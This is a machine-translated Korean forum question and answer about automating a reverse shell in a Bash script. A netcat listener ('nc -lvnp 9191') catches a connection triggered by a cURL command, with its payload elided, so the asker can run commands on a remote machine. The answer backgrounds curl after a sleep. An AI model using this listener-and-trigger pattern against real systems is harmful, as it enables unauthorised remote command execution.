이 질문은 정보 보안과 더 관련이 있지만 다음 프로세스를 자동화하는 해결 방법을 찾을 수 없는 것 같습니다.
netcat에 대한 연결을 트리거하는 cURL 명령이 있습니다. 자동화 없이 를 입력 nc -lvnp 9191
하고 다음을 입력합니다.다른터미널에 cURL 명령을 입력하면 포트 9191에서 내 컴퓨터에 대한 연결이 설정되고 이 명령을 사용하여 원격 컴퓨터에서 일부 명령을 실행할 수 있습니다.
내 Bash 스크립트에서 다음과 같은 것을 시도하고 있습니다.
nc -lvnp 9191&
curl ......
Netcat은 리스너를 시작하고 백그라운드로 이동하며 cURL은 연결을 시작하지만(연결을 다시 수신함) netcat은 즉시 닫힙니다.
$ ./shell.sh
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
nc -lvnp 9191&
Bash 스크립트에서 cURL 명령만 제거하고 유지하면 다음과 같은 일이 발생합니다.
$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>
그러나 "Enter"를 누르자마자 netcat 작업이 즉시 일시 중지됩니다.
[1] + 22609 suspended (tty input) nc -lvnp 9191
다시 Cybercat 작업으로 돌아가서 fg
계속 작업해야 하는데 어떻게든 이 모든 것에서 나 자신을 구할 수 있을지 궁금합니다.
답변1
그래서 누군가와 논의한 끝에 마침내 작동하게 만들었습니다. 행 위치를 변경하여 curl
먼저(그러나 백그라운드 작업으로) 다음으로 netcat
(백그라운드 없이) 오게 했습니다. 방법은 다음과 같습니다.
(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191